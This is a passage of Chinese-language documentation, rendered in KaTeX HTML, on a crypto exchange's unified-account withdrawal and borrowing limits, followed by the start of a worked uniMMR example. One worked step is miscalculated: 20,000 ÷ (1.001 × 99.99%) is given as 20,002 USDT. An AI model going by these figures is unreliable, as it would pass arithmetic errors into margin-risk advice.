class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span></span></span></span></strong></p><ul><li>在风险限制和余额限制中取较小值</li><li>确保结果不为负数</li></ul><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：最大提现金额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">ab</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：杠杆账户可用资产（账户余额限制）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：虚拟可用余额（风险限制后的可用资金）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：资产指数价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：抵押率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：调整后权益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>：初始保证金</li></ul><p><strong>计算逻辑拆解：</strong></p><ol><li><strong>虚拟可用余额</strong>：总权益减去必要保证金，得到理论可用资金</li><li><strong>折算率调整</strong>：考虑资产作为保证金的有效性，计算实际可提现金额</li><li><strong>账户余额限制</strong>：不能提现超过账户实际拥有的资产</li><li><strong>取最严格限制</strong>：在风险限制和余额限制中取最小值</li><li><strong>确保非负</strong>：防止计算结果为负数</li></ol><p><strong>实际示例：</strong></p><ul><li>调整后权益总计：50,000 USDT</li><li>初始保证金总计：30,000 USDT</li><li>杠杆账户USDT余额：15,000 USDT</li><li>USDT抵押率：99.99%</li><li>USDT指数价格：1.001</li></ul><p>计算过程：</p><ol><li>虚拟可用余额：50,000 - 30,000 = 20,000 USDT</li><li>折算率限制：20,000 ÷ (1.001 × 99.99%) = 20,002 USDT</li><li>账户余额限制：15,000 USDT</li><li>最大提现金额：min(15,000, 20,002) = 15,000 USDT</li></ol><p><strong>公式原理：</strong><br>提现上限计算通过多重限制确保账户安全：虚拟可用余额保证风险控制，折算率调整反映资产质量，账户余额限制防止超额提现。这种分层保护机制确保提现后账户仍能维持最低风险要求，防止因过度提现导致强制平仓。</p><h3 id="9-2-借贷上限计算">9.2 借贷上限计算</h3><p><strong>公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">min</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">imi</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">rre</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：虚拟借贷上限</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：实际借贷上限</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span>：杠杆倍数</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：虚拟可用余额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：资产指数价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">imi</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：系统借贷上限</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">rre</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：当前借贷金额</li></ul><p><strong>公式原理：</strong><br>借贷上限基于杠杆倍数和可用余额计算。虚拟借贷上限反映理论最大借贷能力，实际借贷上限还要考虑系统限制和当前负债。这确保借贷操作不会超出用户的风险承受能力和系统的流动性限制。</p><p><strong>示例：</strong><br>虚拟可用余额为2,206.712 USDT，3倍杠杆下：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">206.712</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">413.424</span><span class="mord text"><span class="mord"> USDT</span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">BTC</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2019em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">40</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">413.424</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">0.11033560</span><span class="mord text"><span class="mord"> BTC</span></span></span></span></span></span></p><h2 id="10-统一账户完整计算实例">10. 统一账户完整计算实例</h2><p>本章节通过一个详细的实际案例，展示统一账户中复杂多资产组合的uniMMR计算过程。通过逐步分解的计算步骤和深入的风险分析，读者将掌握统一账户的实际应用方法和风险管理策略。</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Complete Unified Account System&quot;        subgraph &quot;Assets &amp; Positions&quot;            A[&quot;Spot: BTC, ETH, SOL, USDT&quot;]            B[&quot;Futures: BTCUSDT Contracts&quot;]            C[&quot;Margin: SOL Leverage Position&quot;]        end        subgraph &quot;Step 1: Calculate Individual Equity&quot;            D[&quot;Spot Equity = Σ(Ai × Pi)&quot;]            E[&quot;Futures Equity = Balance + PnL&quot;]            F[&quot;Margin Equity = Assets - Debt&quot;]        end        subgraph &quot;Step 2: Apply Adjustments&quot;            G[&quot;Apply Collateral Ratios&quot;]            H[&quot;Calculate Opening Loss&quot;]            I[&quot;Sum Adjusted Equity&quot;]        end        subgraph &quot;Step 3: Calculate Margin Requirements&quot;            J[&quot;Futures MM Calculation&quot;]            K[&quot;Margin MM Calculation&quot;]            L[&quot;Total MM Required&quot;]        end        subgraph &quot;Step 4: Final Assessment&quot;            M[&quot;uniMMR = Adjusted Equity / Total MM&quot;]            N[&quot;Risk Level Determination&quot;]            O[&quot;Action Recommendations&quot;]        end        A --&gt; D        B --&gt; E        C --&gt; F        D --&gt; G        E --&gt; G        F --&gt; G        G --&gt; H        H --&gt; I        B --&gt; J        C --&gt; K        J --&gt; L        K --&gt; L        I --&gt; M        L --&gt; M        M --&gt; N        N --&gt; O        subgraph &quot;Example Values&quot;            P[&quot;Total Assets: 48,520 USD&quot;]            Q[&quot;Opening Loss: -2,520 USD&quot;]            R[&quot;Adjusted Equity: 43,790 USD&quot;]            S[&quot;Total MM: 2,599 USD&quot;]            T[&quot;Final uniMMR: 1685%&quot;]        end    end</code></pre><h3 id="10-1-复杂多资产组合案例">10.1 复杂多资产组合案例</h3><p>我们通过一个完整的实际案例，展示统一账户中uniMMR的计算过程，涵盖现货、合约、杠杆等多种账户类型。</p><p><strong>案例背景：</strong><br>用户小王是一名专业交易者，使用统一账户进行多元化投资。当前持仓包括现货、合约和杠杆交易多个品种。</p><h3 id="10-2-账户资产详细清单">10.2 账户资产详细清单</h3><p><strong>现货账户资产：</strong></p><table><thead><tr><th>币种</th><th>持有数量</th><th>资产指数价格</th><th>资产价值(USD)</th><th>抵押率*</th></tr></thead><tbody><tr><td>USDT</td><td>10,000</td><td>1.001</td><td>10,010.00</td><td>99.99%</td></tr><tr><td>BTC</td><td>0.25</td><td>42,000</td><td>10,500.00</td><td>95.00%</td></tr><tr><td>ETH</td><td>3.0</td><td>2,800</td><td>8,400.00</td><td>95.00%</td></tr></tbody></table><p>*注：抵押率用于抵押价值计算，不影响权益计算</p><p><strong>U本位合约账户：</strong></p><p><strong>账户余额：</strong> 1,500 USDT</p><table><thead><tr><th>合约</th><th>仓位方向</th><th>仓位大小</th><th>开仓价格</th><th>标记价格</th><th>未实现盈亏</th><th>MMR</th><th>仓位价值</th></tr></thead><tbody><tr><td>BTCUSDT</td><td>多头</td><td>0.1 BTC</td><td>40,000</td><td>42,000</td><td>+200 USDT</td><td>0.5%</td><td>4,200 USDT</td></tr><tr><td>ETHUSDT</td><td>空头</td><td>2 ETH</td><td>3,000</td><td>2,800</td><td>+400 USDT</td><td>0.5%</td><td>5,600 USDT</td></tr></tbody></table><p><strong>全仓杠杆账户：</strong></p><p><strong>SOL资产指数价格：</strong> 85 USD</p><table><thead><tr><th>币种</th><th>保证金资产</th><th>借贷金额</th><th>净资产</th><th>杠杆</th><th>MMR</th><th>抵押率</th></tr></thead><tbody><tr><td>SOL</td><td>500 SOL</td><td>300 SOL</td><td>200 SOL</td><td>3倍</td><td>10%</td><td>90%</td></tr></tbody></table><p><strong>资产结构：</strong></p><ul><li>保证金资产：500 SOL × 85 USD = 42,500 USD</li><li>借贷负债：300 SOL × 85 USD = 25,500 USD</li><li>净资产：200 SOL × 85 USD = 17,000 USD</li></ul><p><strong>跨资产交易开仓亏损：</strong><br>用户最近用BTC购买了一些ADA，根据前文开仓亏损机制：</p><p><strong>交易详情：</strong></p><ul><li>基础资产（买入）：ADA，抵押率90%</li><li>报价资产（卖出）：BTC，抵押率95%</li><li>交易数量：1000 ADA</li><li>交易价格：0.0012 ADA/BTC</li><li>交易方向：买入（d = -1）</li></ul><p><strong>开仓亏损计算：</strong><br>使用官方公式：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" 